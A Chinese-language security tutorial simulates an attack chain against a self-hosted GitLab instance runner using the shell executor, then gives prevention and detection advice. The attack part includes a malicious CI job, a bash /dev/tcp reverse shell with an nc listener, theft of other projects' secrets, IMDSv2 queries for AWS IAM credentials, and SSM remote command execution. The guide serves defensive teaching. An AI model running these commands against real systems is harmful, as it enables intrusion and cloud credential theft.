攻破与防御自托管 GitLab CI\/CD 环境：一份详尽指南<\/strong><\/h2>
文档概述<\/strong><\/h3>
本教学文档旨在深入剖析自托管 GitLab 实例的安全风险，并通过一次完整的攻击模拟（从初始访问到横向移动至云环境）来揭示其潜在威胁。同时，文档将提供详尽的防御和检测策略，以帮助安全团队和企业加固其 CI\/CD 环境。<\/p>
核心要点：<\/strong> 本攻击链的核心在于利用配置不当的 GitLab 实例级运行器 (Instance Runner)<\/strong> 作为跳板，通过其获取底层主机权限，进而窃取敏感信息并利用附加的云服务身份（如 AWS IAM 角色）实现横向移动，最终控制整个云环境。<\/p>

第一部分：核心概念与术语<\/strong><\/h3>
在发起攻击之前，必须理解 GitLab CI\/CD 的核心组件。<\/p>
1. 作业 (Jobs)<\/strong><\/h4>
作业是 CI\/CD 流水线中的最小执行单元，类似于一个函数或单个任务。它定义了要执行的具体命令。<\/p>

定义位置：<\/strong> 项目根目录下的 .gitlab-ci.yml<\/code> 文件。<\/li>
示例：<\/strong> build_frontend<\/span>: <\/span><\/span> stage<\/span>: build<\/span> <\/span><\/span> image<\/span>: node:18<\/span> <\/span><\/span> script<\/span>: <\/span><\/span> - cd frontend<\/span> <\/span><\/span> - npm ci<\/span> <\/span><\/span> - npm run build<\/span> <\/span><\/span> artifacts<\/span>: <\/span><\/span> paths<\/span>: <\/span><\/span> - frontend\/build<\/span> <\/span><\/span><\/code><\/pre> script<\/code> 部分是该作业的核心，定义了由 GitLab 运行器执行的一系列命令。<\/li> <\/ul> <\/li> <\/ul> 2. GitLab 运行器 (GitLab Runners)<\/strong><\/h4> 运行器是实际执行作业的代理程序。它们是与主 GitLab 实例分离的独立服务，可以部署在任意主机上。<\/p> 关键概念：作用域 (Scope)<\/strong> 实例级运行器 (Instance Runners)：<\/strong> 【高危配置】<\/strong> 对整个 GitLab 实例上的所有项目和所有用户可用。这是本攻击链的突破口。<\/li> 组级运行器 (Group Runners)：<\/strong> 对特定群组下的所有项目可用。<\/li> 项目级运行器 (Project Runners)：<\/strong> 仅对特定项目可用。<\/li> <\/ul> <\/li> 关键概念：执行器 (Executor)<\/strong> Shell 执行器：<\/strong> 【高危配置】<\/strong> 作业中的命令直接在运行器所在主机的操作系统上执行。一旦作业被劫持，攻击者将直接获得主机 shell。<\/li> Docker 执行器：<\/strong> 作业在独立的 Docker 容器中运行，提供了更好的隔离性。<\/li> 其他执行器包括 Kubernetes<\/code>、VirtualBox<\/code> 等。<\/li> <\/ul> <\/li> <\/ul> 第二部分：攻击链模拟<\/strong><\/h3> 阶段一：初始访问 - 劫持运行器<\/strong><\/h4> 攻击前提：<\/strong> 攻击者已获得目标 GitLab 实例的一个有效用户账号（例如，通过弱口令、社会工程学或配置错误的 SSO）。<\/p> 攻击步骤：<\/strong><\/p> ** reconnaissance（信息侦察）：**<\/p> 登录 GitLab，创建一个新的测试项目\/仓库。<\/li> 导航至项目的 Settings<\/code> -> CI\/CD<\/code> -> Runners<\/code> (点击 Expand<\/code>)。<\/li> 检查是否有可用的 Instance Runners<\/code> 且状态为 Online<\/code>。记录其 Tags<\/code>（标签，如 vulnerable<\/code>）。<\/li> <\/ul> <\/li> 武器化与投递：<\/strong><\/p> 在项目根目录创建或编辑 .gitlab-ci.yml<\/code> 文件。这是触发流水线的关键文件。<\/li> 编写一个恶意作业，使用上一步中发现的运行器标签。<\/li> <\/ul> stages<\/span>: <\/span><\/span> - malicious<\/span> <\/span><\/span> <\/span><\/span>malicious<\/span>: <\/span><\/span> stage<\/span>: malicious<\/span> <\/span><\/span> tags<\/span>: <\/span><\/span> - vulnerable <\/span> # 指定使用带有此标签的运行器<\/span> <\/span><\/span> script<\/span>: <\/span><\/span> - id <\/span> # 查看当前执行用户<\/span> <\/span><\/span> - uname -a <\/span> # 查看系统信息<\/span> <\/span><\/span> - ip a <\/span> # 查看网络信息<\/span> <\/span><\/span> - curl https:\/\/ifconfig.me <\/span> # 测试出站网络连通性<\/span> <\/span><\/span><\/code><\/pre> 提交并推送该文件到仓库。GitLab 会自动触发一个新的流水线执行。<\/li> <\/ul> <\/li> 利用与执行：<\/strong><\/p> 返回项目主页，观察流水线状态。若显示绿色对勾，则表示作业执行成功。<\/li> 点击流水线状态，查看作业详细日志，确认命令输出。<\/li> 关键判断：<\/strong> 如果 id<\/code> 命令显示用户为 gitlab-runner<\/code>，且 uname -a<\/code> 显示的是主机内核信息（而非容器信息），则极有可能使用的是 Shell 执行器<\/strong>，攻击成功在望。<\/li> <\/ul> <\/li> 建立控制：<\/strong><\/p> 升级攻击，在 .gitlab-ci.yml<\/code> 中嵌入反向 Shell 命令，获取一个交互式会话。<\/li> <\/ul> stages<\/span>: <\/span><\/span> - malicious<\/span> <\/span><\/span> <\/span><\/span>malicious<\/span>: <\/span><\/span> stage<\/span>: malicious<\/span> <\/span><\/span> tags<\/span>: <\/span><\/span> - vulnerable<\/span> <\/span><\/span> script<\/span>: <\/span><\/span> - \/bin\/bash -c '\/bin\/bash -i >& \/dev\/tcp\/<你的攻击机IP>\/<监听端口> 0>&1 &'<\/span> <\/span><\/span> # 或者使用更稳定的 payload，如：bash -i >& \/dev\/tcp\/10.0.0.1\/4444 0>&1<\/span> <\/span><\/span> # 注意：作业脚本是并行执行的，需确保 shell 在后台运行，以免作业超时。<\/span> <\/span><\/span><\/code><\/pre> 在攻击机上使用 nc -lvnp <监听端口><\/code> 启动监听。<\/li> 提交恶意 YAML 文件，等待连接建立。成功后会获得一个 gitlab-runner<\/code> 用户的 shell。<\/li> <\/ul> <\/li> <\/ol> 阶段二：攻陷后利用 - 筛选秘密<\/strong><\/h4> 获得运行器主机的 shell 后，开始横向和纵向的信息收集。<\/p> 探索运行器工作目录：<\/strong> 运行器的工作目录通常位于 \/home\/gitlab-runner\/builds\/<\/code> 或 \/var\/lib\/gitlab-runner<\/code> 下。该目录包含其执行过的所有项目的缓存和工作区。<\/li> 使用 ls -la<\/code> 命令浏览目录结构，你可能会发现其他项目（例如，属于 fake-admin<\/code> 用户）的目录。<\/li> <\/ul> cd \/home\/gitlab-runner\/builds\/ <\/span><\/span>ls -la <\/span><\/span>cd <随机哈希>\/0\/fake-admin\/important-project\/ <\/span><\/span>ls -la <\/span><\/span><\/code><\/pre><\/li> 窃取敏感数据：<\/strong> 在其它项目的目录中，寻找以下敏感文件： .env<\/code> 文件：通常包含数据库密码、API 密钥等环境变量。<\/li> .gitlab-ci.yml<\/code>：可能硬编码了密码或引用了其他秘密文件。<\/li> SSH 私钥（如 id_rsa<\/code>）：可用于访问其他系统（如代码仓库、服务器）。<\/li> <\/ul> <\/li> 查看 .gitlab-ci.yml<\/code>，了解私钥的用途（如部署到哪个主机）。<\/li> <\/ul> <\/li> <\/ol> 阶段三：横向移动到云<\/strong><\/h4> 如果运行器主机是云环境（如 AWS EC2）中的实例，攻击可以进一步升级。<\/p> 查询云元数据服务：<\/strong><\/p> AWS 提供了一个内部元数据服务，其 endpoint 为 http:\/\/169.254.169.254\/<\/code>。通过该服务可以获取实例的详细信息，包括其关联的 IAM 角色。<\/li> 由于现代 EC2 默认启用 IMDSv2，需要先获取一个令牌，然后用它查询。<\/li> <\/ul> # 在运行器主机的 shell 中执行<\/span> <\/span><\/span>TOKEN=<\/span>`<\/span>curl -X PUT "http:\/\/169.254.169.254\/latest\/api\/token"<\/span> -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"<\/span>`<\/span> <\/span><\/span>curl -H "X-aws-ec2-metadata-token: <\/span>$TOKEN"<\/span> http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/ <\/span><\/span><\/code><\/pre> 上述命令会返回附加的 IAM 角色名称（如 VulnerableSSMRole<\/code>）。继续查询该角色，获取临时的访问密钥（AccessKeyId<\/code>, SecretAccessKey<\/code>, Token<\/code>）。<\/li> <\/ul> <\/li> 在攻击机上配置 AWS CLI：<\/strong><\/p> 将窃取到的临时凭据配置到攻击机的 AWS CLI 中。<\/li> <\/ul> # 在攻击机上执行<\/span> <\/span><\/span>aws configure set profile.vulnerable-role.aws_access_key_id <AccessKeyId> <\/span><\/span>aws configure set profile.vulnerable-role.aws_secret_access_key <SecretAccessKey> <\/span><\/span>aws configure set profile.vulnerable-role.aws_session_token <Token> <\/span><\/span><\/code><\/pre> 验证凭据：aws sts get-caller-identity --profile vulnerable-role<\/code>。<\/li> <\/ul> <\/li> 利用 IAM 角色权限：<\/strong><\/p> 枚举该 IAM 角色的权限。如果该角色具有 ssm:SendCommand<\/code> 权限（如角色名 VulnerableSSMRole<\/code> 所暗示），则可以通过 AWS Systems Manager 向该 EC2 实例或其他安装了 SSM Agent 的实例执行命令。<\/li> 获取实例 ID：<\/strong> 从元数据服务获取：curl -H "X-aws-ec2-metadata-token: $TOKEN" http:\/\/169.254.169.254\/latest\/meta-data\/instance-id<\/code>。<\/li> 远程命令执行：<\/strong><\/li> <\/ul> # 在攻击机上执行<\/span> <\/span><\/span>aws ssm send-command \ <\/span><\/span><\/span><\/span> --instance-ids "<目标实例ID>"<\/span> \ <\/span><\/span><\/span><\/span> --document-name "AWS-RunShellScript"<\/span> \ <\/span><\/span><\/span><\/span> --parameters commands=<\/span>"echo 'gitlab-got-pwned' > \/tmp\/pwned.txt"<\/span> \ <\/span><\/span><\/span><\/span> --profile vulnerable-role <\/span><\/span><\/code><\/pre> 此命令将在目标实例上以 root<\/strong> 权限创建文件 \/tmp\/pwned.txt<\/code>，标志着已完全攻陷该云服务器。<\/li> <\/ul> <\/li> <\/ol> 第三部分：防御与检测策略<\/strong><\/h3> A. 预防性控制<\/strong><\/h4> 网络层面：<\/strong><\/p> 严格的网络访问控制 (NAC)：<\/strong> 将 GitLab 实例和运行器置于内部网络或 VPN 之后，禁止公网直接访问。这是最基础也是最有效的防御措施。<\/li> <\/ul> <\/li> 身份认证与授权：<\/strong><\/p> 禁用公开注册：<\/strong> 在 GitLab 管理区域禁用用户公开注册（\/admin\/application_settings\/general#sign-up-restrictions<\/code>）。<\/li> 谨慎配置 SSO：<\/strong> 如果使用 OAuth\/SSO，确保将其限制在特定的安全组或角色，避免整个组织的用户都能登录。<\/li> 强制双因素认证 (2FA)：<\/strong> 为所有用户启用并强制使用 2FA。<\/li> <\/ul> <\/li> GitLab 运行器配置：<\/strong>【最关键】<\/p> 避免使用实例级运行器：<\/strong> 除非有极其严格的审计和控制，否则应完全禁用或避免创建实例级运行器。<\/li> 使用项目级或组级运行器：<\/strong> 将运行器的权限范围最小化，仅分配给需要的项目或群组。<\/li> 弃用 Shell 执行器：<\/strong> 永远不要在生产环境中使用 Shell 执行器。<\/li> 强制使用隔离的执行器：<\/strong> 使用 Docker<\/strong> 或 Kubernetes<\/strong> 执行器，确保每个作业都在一个全新的、隔离的容器中运行。<\/li> 使用标签进行精细控制：<\/strong> 为运行器设置明确的标签，并在作业中严格指定，避免作业被意外的运行器执行。<\/li> <\/ul> <\/li> 云服务配置：<\/strong><\/p> 遵循最小权限原则：<\/strong> 附加到 EC2 实例的 IAM 角色应只拥有完成其任务所必需的最小权限。定期审计 IAM 策略。<\/li> 使用 IMDSv2：<\/strong> 确保所有 EC2 实例强制使用 IMDSv2（这是新实例的默认设置），这增加了从元数据服务获取信息的难度。<\/li> <\/ul> <\/li> <\/ol> B. 检测性控制<\/strong><\/h4> AWS CloudTrail 监控：<\/strong><\/p> CloudTrail 会记录所有 API 调用。应设置告警，监控以下可疑行为：<\/li> ssm:SendCommand<\/code> 调用，特别是来自不常见 IP 或针对非预期实例的调用。<\/li> 大量 ssm:DescribeInstanceInformation<\/code> 或 ec2:DescribeInstances<\/code> 调用（攻击者在枚举环境）。<\/li> 来自 GitLab 运行器实例的 sts:GetCallerIdentity<\/code> 调用（这可能表明凭据已被窃取并在外部使用）。<\/li> <\/ul> <\/li> GitLab 审计日志：<\/strong><\/p> 定期审查 GitLab 的管理员审计日志，监控异常的用户活动，例如新用户创建项目并立即触发包含可疑命令的流水线。<\/li> <\/ul> <\/li> 系统级监控：<\/strong><\/p> 在运行器主机上部署 HIDS（基于主机的入侵检测系统），如 Osquery、Wazuh 或 Auditd，以检测反向 Shell 的建立、异常进程创建等行为。<\/li> <\/ul> <\/li> <\/ol> 总结<\/strong><\/h3> 本次攻击演示了自托管 GitLab 环境中一个常见且危险的安全误区：为了方便而牺牲安全<\/strong>。一个配置不当的实例级运行器，结合弱隔离和过宽的云权限，足以让攻击者从单个普通用户权限演变为对整个云基础设施的控制。<\/p> 防御的核心思想始终是：最小权限原则和纵深防御。<\/strong> 通过严格限制运行器的使用范围、强制作业隔离、收紧云身份权限并部署有效的监控，可以极大地降低此类攻击的风险。<\/p> 免责声明：<\/strong> 本文档仅用于安全教学和研究目的。请勿将所述技术用于任何未授权的测试或攻击。在进行任何安全评估前，务必获得相关系统的明确授权。<\/p>